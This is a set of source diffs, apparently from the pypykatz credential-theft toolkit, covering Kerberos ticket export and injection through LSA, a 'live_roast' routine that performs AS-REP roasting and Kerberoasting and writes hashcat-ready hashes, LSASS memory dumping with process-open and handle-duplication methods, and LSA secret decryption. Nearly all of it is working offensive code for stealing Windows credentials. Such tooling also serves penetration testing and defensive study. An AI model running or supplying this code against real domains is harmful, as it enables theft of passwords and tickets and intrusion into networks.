124 def get_all_ticketinfo(self):
125 self.open_lsa_handle(0, req_elevated=True)
126 ticket_infos = {}
127 for luid in self.list_luids():
128 if luid not in ticket_infos:
129 ticket_infos[luid] = []
130 for ticket_info in get_ticket_cache_info_helper(self.__lsa_handle, self.kerberos_package_id, luid, throw = False):
131 if ticket_info != []:
132 ticket_infos[luid].append(ticket_info)
133
134 return ticket_infos
135
136 def export_ticketdata_target(self, luid, target):
137 self.open_lsa_handle(luid)
138 return extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, target)
139
140 def export_ticketdata(self, luid):
141 if luid == 0:
142 luid = self.original_luid
143 ticket_data = {}
144 if luid not in ticket_data:
145 ticket_data[luid] = []
146
147 ticket_infos = self.get_all_ticketinfo()
148 for ticket in ticket_infos[luid]:
149 res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName'])
150 ticket_data[luid].append(res)
151
152 return ticket_data
153
154 def export_all_ticketdata(self):
155 self.open_lsa_handle(0, req_elevated=True)
156 ticket_infos = self.get_all_ticketinfo()
157 ticket_data = {}
158 for luid in ticket_infos:
159 if luid not in ticket_data:
160 ticket_data[luid] = []
161
162 for ticket in ticket_infos[luid]:
163 res = extract_ticket(self.__lsa_handle, self.kerberos_package_id, luid, ticket['ServerName'])
164 ticket_data[luid].append(res)
165 return ticket_data
166
167 def get_current_luid(self):
168 current_pid = GetCurrentProcessId()
169 process_handle = OpenProcess(MAXIMUM_ALLOWED, False, current_pid)
170 token_handle = OpenProcessToken(process_handle)
171 stats = GetTokenInformation_tokenstatistics(token_handle)
172 CloseHandle(process_handle)
173 return stats['TokenId']
174
175 def list_luids(self):
176 self.available_luids = LsaEnumerateLogonSessions()
177 return self.available_luids
178
179 def list_sessions(self):
180 for luid in self.available_luids:
181 try:
182 session_info = LsaGetLogonSessionData(luid)
183 print('USER "%s\\%s" SPN "%s" LUID %s' % (session_info.get('LogonDomain', '.'), session_info['UserName'], session_info['Upn'], hex(session_info['LogonId'])))
184 except Exception as e:
185 logger.debug('Failed to get info for LUID %s Reason: %s' % (luid, e ))
186 continue
187
188 def purge(self, luid = None):
189 luids = []
190 if luid is None:
191 self.open_lsa_handle(0, req_elevated=True)
192 luids += self.list_luids()
193 else:
194 luids.append(luid)
195 self.open_lsa_handle(luid)
196
197 for luid_current in luids:
198 message = KERB_PURGE_TKT_CACHE_REQUEST(luid_current)
199 message_ret, status_ret, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message)
200 if status_ret != 0:
201 if len(luids) > 1:
202 continue
203 raise get_lsa_error(status_ret)
204 if len(message_ret) > 0:
205 LsaFreeReturnBuffer(free_ptr)
206
207 def submit_ticket(self, ticket_data, luid = 0):
208 self.open_lsa_handle(luid)
209 message = submit_tkt_helper(ticket_data, logonid=luid)
210 ret_msg, ret_status, free_ptr = LsaCallAuthenticationPackage(self.__lsa_handle, self.kerberos_package_id, message)
211 if ret_status != 0:
212 raise get_lsa_error(ret_status)
213
214 if len(ret_msg) > 0:
215 LsaFreeReturnBuffer(free_ptr)
216
217 def get_tgt(self, target = None):
218 if target is None:
219 logon = get_logon_info()
220 if logon['logonserver'] is None:
221 raise Exception('Failed to get logonserver and no target was specified! This wont work.')
222 target = 'cifs/%s' % logon['logonserver']
223
224 ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND)
225 res, ctx, data, outputflags, expiry = InitializeSecurityContext(
226 ctx,
227 target,
228 token = None,
229 ctx = ctx,
230 flags = ISC_REQ.DELEGATE | ISC_REQ.MUTUAL_AUTH | ISC_REQ.ALLOCATE_MEMORY
231 )
232
233
234 if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
235 #key_data = sspi._get_session_key()
236 raw_ticket = self.export_ticketdata_target(0, target)
237 key = Key(raw_ticket['Key']['KeyType'], raw_ticket['Key']['Key'])
238 token = InitialContextToken.load(data[0][1])
239 ticket = AP_REQ(token.native['innerContextToken']).native
240 cipher = _enctype_table[ticket['authenticator']['etype']]
241 dec_authenticator = cipher.decrypt(key, 11, ticket['authenticator']['cipher'])
242 authenticator = Authenticator.load(dec_authenticator).native
243 if authenticator['cksum']['cksumtype'] != 0x8003:
244 raise Exception('Checksum not good :(')
245
246 checksum_data = AuthenticatorChecksum.from_bytes(authenticator['cksum']['checksum'])
247 if ChecksumFlags.GSS_C_DELEG_FLAG not in checksum_data.flags:
248 raise Exception('delegation flag not set!')
249
250 cred_orig = KRB_CRED.load(checksum_data.delegation_data).native
251 dec_authenticator = cipher.decrypt(key, 14, cred_orig['enc-part']['cipher'])
252 #info = EncKrbCredPart.load(dec_authenticator).native
253
254 #reconstructing kirbi with the unencrypted data
255 te = {}
256 te['etype'] = 0
257 te['cipher'] = dec_authenticator
258 ten = EncryptedData(te)
259
260 t = {}
261 t['pvno'] = cred_orig['pvno']
262 t['msg-type'] = cred_orig['msg-type']
263 t['tickets'] = cred_orig['tickets']
264 t['enc-part'] = ten
265
266 cred = KRB_CRED(t)
267 return cred.dump()
268
269 def get_apreq(self, target):
270 ctx = AcquireCredentialsHandle(None, 'kerberos', target, SECPKG_CRED.OUTBOUND)
271 res, ctx, data, outputflags, expiry = InitializeSecurityContext(
272 ctx,
273 target,
274 token = None,
275 ctx = ctx,
276 flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION
277 )
278 if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
279 sec_struct = SecPkgContext_SessionKey()
280 QueryContextAttributes(ctx, SECPKG_ATTR.SESSION_KEY, sec_struct)
281 key_data = sec_struct.Buffer
282 #print(data[0][1].hex())
283
284 ticket = InitialContextToken.load(data[0][1]).native['innerContextToken']
285 return AP_REQ(ticket), key_data
286
287
288 async def live_roast(outfile = None):
289 try:
290 logon = get_logon_info()
291 domain = logon['domain']
292 url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
293 msldap_url = MSLDAPURLDecoder(url)
294 client = msldap_url.get_client()
295 _, err = await client.connect()
296 if err is not None:
297 raise err
298
299 domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.')
300 spn_users = []
301 asrep_users = []
302 errors = []
303 results = []
304 final_results = []
305 spn_cnt = 0
306 asrep_cnt = 0
307 async for user, err in client.get_all_knoreq_users():
308 if err is not None:
309 raise err
310 cred = KerberosCredential()
311 cred.username = user.sAMAccountName
312 cred.domain = domain
313
314 asrep_users.append(cred)
315 async for user, err in client.get_all_service_users():
316 if err is not None:
317 raise err
318 cred = KerberosCredential()
319 cred.username = user.sAMAccountName
320 cred.domain = domain
321
322 spn_users.append(cred)
323
324 for cred in asrep_users:
325 results = []
326 ks = KerberosTarget(domain)
327 ar = APREPRoast(ks)
328 res = await ar.run(cred, override_etype = [23])
329 results.append(res)
330
331 if outfile is not None:
332 filename = outfile + 'asreproast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
333 with open(filename, 'w', newline = '') as f:
334 for thash in results:
335 asrep_cnt += 1
336 f.write(thash + '\r\n')
337 else:
338 final_results += results
339
340 results = []
341 for cred in spn_users:
342 spn_name = '%s@%s' % (cred.username, cred.domain)
343 if spn_name[:6] == 'krbtgt':
344 continue
345 try:
346 ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name, SECPKG_CRED.OUTBOUND)
347 res, ctx, data, outputflags, expiry = InitializeSecurityContext(
348 ctx,
349 spn_name,
350 token = None,
351 ctx = ctx,
352 flags = ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION
353 )
354 if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED:
355 ticket = InitialContextToken.load(data[0][1]).native['innerContextToken']
356 else:
357 raise Exception('Error %s' % res.value)
358 except Exception as e:
359 print(e)
360 errors.append((spn_name, e))
361 continue
362 results.append(TGSTicket2hashcat(ticket))
363
364 if outfile is not None:
365 filename = outfile+ 'spnroast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
366 with open(filename, 'w', newline = '') as f:
367 for thash in results:
368 spn_cnt += 1
369 f.write(thash + '\r\n')
370
371 else:
372 final_results += results
373
374 return final_results, errors, None
375
376 except Exception as e:
377 return None, None, e
378
379
380 if __name__ == '__main__':
381 import glob
382 import sys
383
384 kl = KerberosLive()
385 kl.purge(0)
386 #x = kl.get_all_ticketdata()
387 #ctr = 0
388 #for luid in x:
389 # if x[luid] != []:
390 # for ticket in x[luid]:
391 # ctr += 1
392 # with open('test_%s.kirbi' % ctr, 'wb') as f:
393 # f.write(ticket['Ticket'])
394 #
395 #print(x)
396 #sys.exit()
397 for filename in glob.glob('*.kirbi'):
398 with open(filename, 'rb') as d:
399 ticket = d.read()
400 try:
401 kl.submit_ticket(ticket)
402 print('OK')
403 except Exception as e:
404 print(e)
405 input()
0
1
2 from minikerberos.protocol.asn1_structs import KRB_CRED, EncKrbCredPart, KRBCRED
3 import base64
4
5 def format_kirbi(data, n = 100):
6 kd = base64.b64encode(data).decode()
7 return ' ' + '\r\n '.join([kd[i:i+n] for i in range(0, len(kd), n)])
8
9 def describe_kirbi_data(data):
10 if isinstance(data, bytes):
11 kirbi = KRB_CRED.load(data).native
12 elif isinstance(data, dict):
13 kirbi = data
14 elif isinstance(data, KRB_CRED):
15 kirbi = data.native
16 elif isinstance(data, KRBCRED):
17 kirbi = data.native
18 else:
19 raise Exception('Unknown data type! %s' % type(data))
20
21 t = '\r\n'
22 for ticket in kirbi['tickets']:
23 t += 'Realm : %s\r\n' % ticket['realm']
24 t += 'Sname : %s\r\n' % '/'.join(ticket['sname']['name-string'])
25
26 if kirbi['enc-part']['etype'] == 0:
27 cred = EncKrbCredPart.load(kirbi['enc-part']['cipher']).native
28 cred = cred['ticket-info'][0]
29 username = cred.get('pname')
30 if username is not None:
31 username = '/'.join(username['name-string'])
32 flags = cred.get('flags')
33 if flags is not None:
34 flags = ', '.join(flags)
35
36 t += 'UserName : %s\r\n' % username
37 t += 'UserRealm : %s\r\n' % cred.get('prealm')
38 t += 'StartTime : %s\r\n' % cred.get('starttime')
39 t += 'EndTime : %s\r\n' % cred.get('endtime')
40 t += 'RenewTill : %s\r\n' % cred.get('renew-till')
41 t += 'Flags : %s\r\n' % flags
42 t += 'Keytype : %s\r\n' % cred['key']['keytype']
43 t += 'Key : %s\r\n' % base64.b64encode(cred['key']['keyvalue']).decode()
44
45 t += 'EncodedKirbi : \r\n\r\n'
46 t += format_kirbi(KRB_CRED(kirbi).dump())
47 return t
48
49 def print_kirbi(data):
50 print(describe_kirbi_data(data))
51
52
53
54 def parse_kirbi(kirbifile):
55 with open(kirbifile, 'rb') as f:
56 print_kirbi(f.read())
33 # Tamas Jos (@skelsec)
44 #
55
6 from pypykatz import logging
6 from pypykatz import logger
7 import asyncio
78
89 """
910 LDAP is not part of pypykatz directly.
10 This is a wrapper for msldap, ldap3 and winsspi packages
11 This is a wrapper for msldap
1112 """
13
14 class LDAPCMDArgs:
15 def __init__(self):
16 self.url = None
17 self.verbose = 0
18 self.no_interactive = False
19 self.commands = ['login', 'i']
20
21 msldap_subcommand_list = []
22 msldap_epilog = 'FOR AVAILABLE SUBCOMMANDS TYPE "... ldap help" insted of "-h" '
1223
1324 class LDAPCMDHelper:
1425 def __init__(self):
1627 self.keywords = ['ldap']
1728
1829 def add_args(self, parser, live_parser):
19 group = parser.add_parser('ldap', help='LDAP (live) related commands')
20 group.add_argument('credential', help= 'Credential to be used')
21 group.add_argument('cmd', choices=['spn', 'asrep','dump','custom'])
22 group.add_argument('-o','--out-file', help= 'File to stroe results in')
23 group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked')
24 group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter')
30 group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands')
31 group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
32 group.add_argument('url', help="LDAP connection string")
33 group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
2534
26
27 live_group = live_parser.add_parser('ldap', help='LDAP (live) related commands')
28 live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)')
29 live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.')
30 live_group.add_argument('cmd', choices=['spn', 'asrep','dump','custom'])
31 live_group.add_argument('-o','--out-file', help= 'File to stroe results in')
32 live_group.add_argument('-a','--attrs', action='append', help='DUMP and CUSTOM mode only. LDAP attributes to display. Can be stacked')
33 live_group.add_argument('-f','--filter', help='CUSTOM mode only. LDAP search filter')
34
35 live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog)
36 live_group.add_argument('--host', help= 'Specify a custom logon server.')
37 live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
38 live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
39 live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
40
3541 def execute(self, args):
3642 if args.command in self.keywords:
3743 self.run(args)
4147
4248
4349 def run_live(self, args):
44 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
45 from msldap.ldap_objects import MSADUser
46 from msldap import logger as msldaplogger
47 from pypykatz.commons.winapi.machine import LiveMachine
48
49 machine = LiveMachine()
50
51 if args.credential:
52 creds = MSLDAPCredential.from_connection_string(args.credential)
53 else:
54 creds = MSLDAPCredential.get_dummy_sspi()
55
56 if args.dc_ip:
57 target = MSLDAPTarget(args.dc_ip)
58 else:
59 target = MSLDAPTarget(machine.get_domain())
60
61 connection = MSLDAPConnection(creds, target)
62 connection.connect()
63
64 try:
65 adinfo = connection.get_ad_info()
66 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
67 except Exception as e:
68 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
69 domain = machine.get_domain()
70
71 if args.cmd == 'spn':
72 logging.debug('Enumerating SPN user accounts...')
73 cnt = 0
74 if args.out_file:
75 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
76 for user in connection.get_all_service_user_objects():
77 cnt += 1
78 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
79
50 from msldap.examples.msldapclient import amain
51 from winacl.functions.highlevel import get_logon_info
52 info = get_logon_info()
53
54 logonserver = info['logonserver']
55 if args.host is not None:
56 logonserver = args.host
57
58 la = LDAPCMDArgs()
59 la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
60 la.verbose = args.verbose
61
62 if args.verbose > 1:
63 print('Using the following auto-generated URL: %s' % la.url)
64 if args.commands is not None and len(args.commands) > 0:
65 la.commands = []
66 if args.commands[0] == 'help':
67 la.commands = ['help']
8068 else:
81 print('[+] SPN users')
82 for user in connection.get_all_service_user_objects():
83 cnt += 1
84 print('%s/%s' % (domain, user.sAMAccountName))
85
86 logging.debug('Enumerated %d SPN user accounts' % cnt)
87
88 elif args.cmd == 'asrep':
89 logging.debug('Enumerating ASREP user accounts...')
90 ctr = 0
91 if args.out_file:
92 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
93 for user in connection.get_all_knoreq_user_objects():
94 ctr += 1
95 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
96 else:
97 print('[+] ASREP users')
98 for user in connection.get_all_knoreq_user_objects():
99 ctr += 1
100 print('%s/%s' % (domain, user.sAMAccountName))
69 if args.commands[0] != 'login':
70 la.commands.append('login')
71
72 for command in args.commands:
73 la.commands.append(command)
10174
102 logging.debug('Enumerated %d ASREP user accounts' % ctr)
103
104 elif args.cmd == 'dump':
105 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
106 ctr = 0
107 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
108 if args.out_file:
109 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
110 writer = csv.writer(f, delimiter = '\t')
111 writer.writerow(attrs)
112 for user in connection.get_all_user_objects():
113 ctr += 1
114 writer.writerow(user.get_row(attrs))
115
116 else:
117 logging.debug('Are you sure about this?')
118 print('[+] Full user dump')
119 print('\t'.join(attrs))
120 for user in connection.get_all_user_objects():
121 ctr += 1
122 print('\t'.join([str(x) for x in user.get_row(attrs)]))
123
124
125 logging.debug('Enumerated %d user accounts' % ctr)
126
127 elif args.cmd == 'custom':
128 if not args.filter:
129 raise Exception('Custom LDAP search requires the search filter to be specified!')
130 if not args.attrs:
131 raise Exception('Custom LDAP search requires the attributes to be specified!')
132
133 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
134 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
135 ctr = 0
136
137 if args.out_file:
138 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
139 writer = csv.writer(f, delimiter = '\t')
140 writer.writerow(args.attrs)
141 for obj in connection.pagedsearch(args.filter, args.attrs):
142 ctr += 1
143 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
144
145 else:
146 for obj in connection.pagedsearch(args.filter, args.attrs):
147 ctr += 1
148 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
149
150 logging.debug('Custom search yielded %d results!' % ctr)
75 asyncio.run(amain(la))
15176
15277 def run(self, args):
153 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
154 from msldap.ldap_objects import MSADUser
155 from msldap import logger as msldaplogger
156
157 if not args.credential:
158 raise Exception('You must provide credentials when using ldap in platform independent mode.')
159
160 creds = MSLDAPCredential.from_connection_string(args.credential)
161 target = MSLDAPTarget.from_connection_string(args.credential)
162
163 connection = MSLDAPConnection(creds, target)
164 connection.connect()
165
166 try:
167 adinfo = connection.get_ad_info()
168 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
169 except Exception as e:
170 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
171 domain = machine.get_domain()
172
173 if args.cmd == 'spn':
174 logging.debug('Enumerating SPN user accounts...')
175 cnt = 0
176 if args.out_file:
177 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
178 for user in connection.get_all_service_user_objects():
179 cnt += 1
180 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
181
78 from msldap.examples.msldapclient import amain
79 la = LDAPCMDArgs()
80 la.url = args.url
81 la.verbose = args.verbose
82 if args.commands is not None and len(args.commands) > 0:
83 la.commands = []
84 if args.commands[0] == 'help':
85 la.commands = ['help']
18286 else:
183 print('[+] SPN users')
184 for user in connection.get_all_service_user_objects():
185 cnt += 1
186 print('%s/%s' % (domain, user.sAMAccountName))
187
188 logging.debug('Enumerated %d SPN user accounts' % cnt)
189
190 elif args.cmd == 'asrep':
191 logging.debug('Enumerating ASREP user accounts...')
192 ctr = 0
193 if args.out_file:
194 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
195 for user in connection.get_all_knoreq_user_objects():
196 ctr += 1
197 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
198 else:
199 print('[+] ASREP users')
200 for user in connection.get_all_knoreq_user_objects():
201 ctr += 1
202 print('%s/%s' % (domain, user.sAMAccountName))
203
204 logging.debug('Enumerated %d ASREP user accounts' % ctr)
205
206 elif args.cmd == 'dump':
207 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
208 ctr = 0
209 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
210 if args.out_file:
211 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
212 writer = csv.writer(f, delimiter = '\t')
213 writer.writerow(attrs)
214 for user in connection.get_all_user_objects():
215 ctr += 1
216 writer.writerow(user.get_row(attrs))
217
218 else:
219 logging.debug('Are you sure about this?')
220 print('[+] Full user dump')
221 print('\t'.join(attrs))
222 for user in connection.get_all_user_objects():
223 ctr += 1
224 print('\t'.join([str(x) for x in user.get_row(attrs)]))
225
226
227 logging.debug('Enumerated %d user accounts' % ctr)
228
229 elif args.cmd == 'custom':
230 if not args.filter:
231 raise Exception('Custom LDAP search requires the search filter to be specified!')
232 if not args.attrs:
233 raise Exception('Custom LDAP search requires the attributes to be specified!')
234
235 logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
236 logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
237 ctr = 0
238
239 if args.out_file:
240 with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
241 writer = csv.writer(f, delimiter = '\t')
242 writer.writerow(args.attrs)
243 for obj in connection.pagedsearch(args.filter, args.attrs):
244 ctr += 1
245 writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])
246
247 else:
248 for obj in connection.pagedsearch(args.filter, args.attrs):
249 ctr += 1
250 print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))
251
252 logging.debug('Custom search yielded %d results!' % ctr)
253
87 if args.commands[0] != 'login':
88 la.commands.append('login')
89
90 for command in args.commands:
91 la.commands.append(command)
92
93 asyncio.run(amain(la))
88 import glob
99 import ntpath
1010 import traceback
11 import base64
1112
1213 from pypykatz import logging
1314 from pypykatz.pypykatz import pypykatz
2829 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
2930 live_group.add_argument('-k', '--kerberos-dir', help = 'Save kerberos tickets to a directory.')
3031 live_group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
31
32 live_group.add_argument('--method', choices = ['procopen', 'handledup'], default = 'procopen', help = 'LSASS process access method')
33 live_group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap', 'kerberos'], nargs="+", default = 'all', help = 'LSASS package to parse')
34
35
3236 group = parser.add_parser('lsa', help='Get secrets from memory dump')
3337 group.add_argument('cmd', choices=['minidump','rekall'])
3438 group.add_argument('memoryfile', help='path to the dump file')
4044 group.add_argument('-r', '--recursive', action='store_true', help = 'Recursive parsing')
4145 group.add_argument('-d', '--directory', action='store_true', help = 'Parse all dump files in a folder')
4246 group.add_argument('-g', '--grep', action='store_true', help = 'Print credentials in greppable format')
47 group.add_argument('-p','--packages', choices = ['all','msv', 'wdigest', 'tspkg', 'ssp', 'livessp', 'dpapi', 'cloudap', 'kerberos'], nargs="+", default = 'all', help = 'LSASS package to parse')
4348
4449 def execute(self, args):
4550 if len(self.keywords) > 0 and args.command in self.keywords:
98103 t = cred.to_dict()
99104 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
100105 print(':'.join(x))
106
107 for pkg, err in results[result].errors:
108 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
109 err_str = base64.b64encode(err_str.encode()).decode()
110 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
111 print(':'.join(x) + '\r\n')
101112 else:
102113 for result in results:
103114 print('FILE: ======== %s =======' % result)
111122 print('== Orphaned credentials ==')
112123 for cred in results[result].orphaned_creds:
113124 print(str(cred))
125
126 if len(results[result].errors) > 0:
127 print('== Errors ==')
128 for pkg, err in results[result].errors:
129 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
130 err_str = base64.b64encode(err_str.encode()).decode()
131 print('%s %s' % (pkg+'_exception_please_report',err_str))
114132
115133
116134
143161 if args.module == 'lsa':
144162 filename = 'live'
145163 try:
146 mimi = pypykatz.go_live()
164 if args.kerberos_dir is not None and 'all' not in args.packages:
165 args.packages.append('ktickets')
166 if args.method == 'procopen':
167 mimi = pypykatz.go_live(packages=args.packages)
168 elif args.method == 'handledup':
169 mimi = pypykatz.go_handledup(packages=args.packages)
170 if mimi is None:
171 raise Exception('HANDLEDUP failed to bring any results!')
147172 results['live'] = mimi
173 if args.halt_on_error == True and len(mimi.errors) > 0:
174 raise Exception('Error in modules!')
148175 except Exception as e:
149176 files_with_error.append(filename)
150177 if args.halt_on_error == True:
161188 results = {}
162189 ###### Rekall
163190 if args.cmd == 'rekall':
164 mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override)
191 if args.kerberos_dir is not None and 'all' not in args.packages:
192 args.packages.append('ktickets')
193 mimi = pypykatz.parse_memory_dump_rekall(args.memoryfile, args.timestamp_override, packages=args.packages)
165194 results['rekall'] = mimi
166195
167196 ###### Minidump
178207 for filename in glob.glob(globdata, recursive=args.recursive):
179208 logging.info('Parsing file %s' % filename)
180209 try:
181 mimi = pypykatz.parse_minidump_file(filename)
210 if args.kerberos_dir is not None and 'all' not in args.packages:
211 args.packages.append('ktickets')
212 mimi = pypykatz.parse_minidump_file(filename, packages=args.packages)
182213 results[filename] = mimi
214 if args.halt_on_error == True and len(mimi.errors) > 0:
215 raise Exception('Error in modules!')
183216 except Exception as e:
184217 files_with_error.append(filename)
185218 logging.exception('Error parsing file %s ' % filename)
191224 else:
192225 logging.info('Parsing file %s' % args.memoryfile)
193226 try:
194 mimi = pypykatz.parse_minidump_file(args.memoryfile)
227 if args.kerberos_dir is not None and 'all' not in args.packages:
228 args.packages.append('ktickets')
229 mimi = pypykatz.parse_minidump_file(args.memoryfile, packages=args.packages)
195230 results[args.memoryfile] = mimi
231 if args.halt_on_error == True and len(mimi.errors) > 0:
232 raise Exception('Error in modules!')
196233 except Exception as e:
197234 logging.exception('Error while parsing file %s' % args.memoryfile)
198235 if args.halt_on_error == True:
44 #
55 import io
66 import logging
7 #from pypykatz.commons.common import *
8 #from pypykatz.crypto.des import *
9 #from pypykatz.crypto.aes import AESModeOfOperationCBC
10 #from pypykatz.lsadecryptor.lsa_templates import *
117 from pypykatz.crypto.RC4 import RC4
128 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
139 from pypykatz.commons.win_datatypes import LONG
9187 self.log('Looking for main struct signature in memory...')
9288 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
9389 if len(fl) == 0:
94 logging.warning('signature not found! %s' % self.decryptor_template.signature.hex())
90 logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
9591 raise Exception('LSA signature not found!')
9692
9793 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
77 from pypykatz import logger
88 from pypykatz.commons.common import hexdump
99 from pypykatz.crypto.des import triple_des, CBC
10 from pypykatz.crypto.aes import AESModeOfOperationCBC
10 from pypykatz.crypto.aes import AESModeOfOperationCFB
1111 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
1212
1313 class LsaDecryptor_NT6(PackageDecryptor):
4040
4141 def find_signature(self):
4242 self.log('Looking for main struct signature in memory...')
43 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature)
43 fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True)
4444 if len(fl) == 0:
45 logger.warning('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
45 logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex())
4646 raise Exception('LSA signature not found!')
4747
4848 self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
8787 if size % 8:
8888 if not self.aes_key or not self.iv:
8989 return cleartext
90 cipher = AESModeOfOperationCBC(self.aes_key, iv = self.iv)
91 n = 16
92 for block in [encrypted[i:i+n] for i in range(0, len(encrypted), n)]: #terrible, terrible workaround
93 cleartext += cipher.decrypt(block)
90 cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv)
91 cleartext = cipher.decrypt(encrypted)
9492 else:
9593 if not self.des_key or not self.iv:
9694 return cleartext
97 #cipher = DES3.new(self.des_key, DES3.MODE_CBC, self.iv[:8])
9895 cipher = triple_des(self.des_key, CBC, self.iv[:8])
9996 cleartext = cipher.decrypt(encrypted)
10097 return cleartext
2626 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
2727 raise Exception('NT 5 is not yet supported!')
2828 else:
29 for key in templates['nt6']['x86']:
29 keys = [x for x in templates['nt6']['x86']]
30 keys.sort(reverse = True)
31 for key in keys:
3032 yield templates['nt6']['x86'][key]
3133
3234 elif sysinfo.architecture == KatzSystemArchitecture.X64:
3537 elif sysinfo.buildnumber <= WindowsMinBuild.WIN_2K3.value:
3638 raise Exception('NT 5 is not yet supported!')
3739 else:
38 for key in templates['nt6']['x64']:
40 keys = [x for x in templates['nt6']['x64']]
41 keys.sort(reverse = True)
42 for key in keys:
3943 yield templates['nt6']['x64'][key]
4044
4145
6565 Searches for a sequence of bytes in the module identified by module_name
6666 """
6767 self.log('Searching for key struct signature')
68 fl = self.reader.find_in_module(module_name, self.decryptor_template.signature)
68 fl = self.reader.find_in_module(module_name, self.decryptor_template.signature, find_first = True)
6969 if len(fl) == 0:
7070 raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex()))
7171 return fl[0]
110110 bytes_expected: bool :indication that the result of decryption is bytes, no need for encoding
111111 trim_zeroes: bool: if a text is expected then this variable tells wether we should trim the trailing zeroes after decryption
112112 """
113
113114 dec_password = None
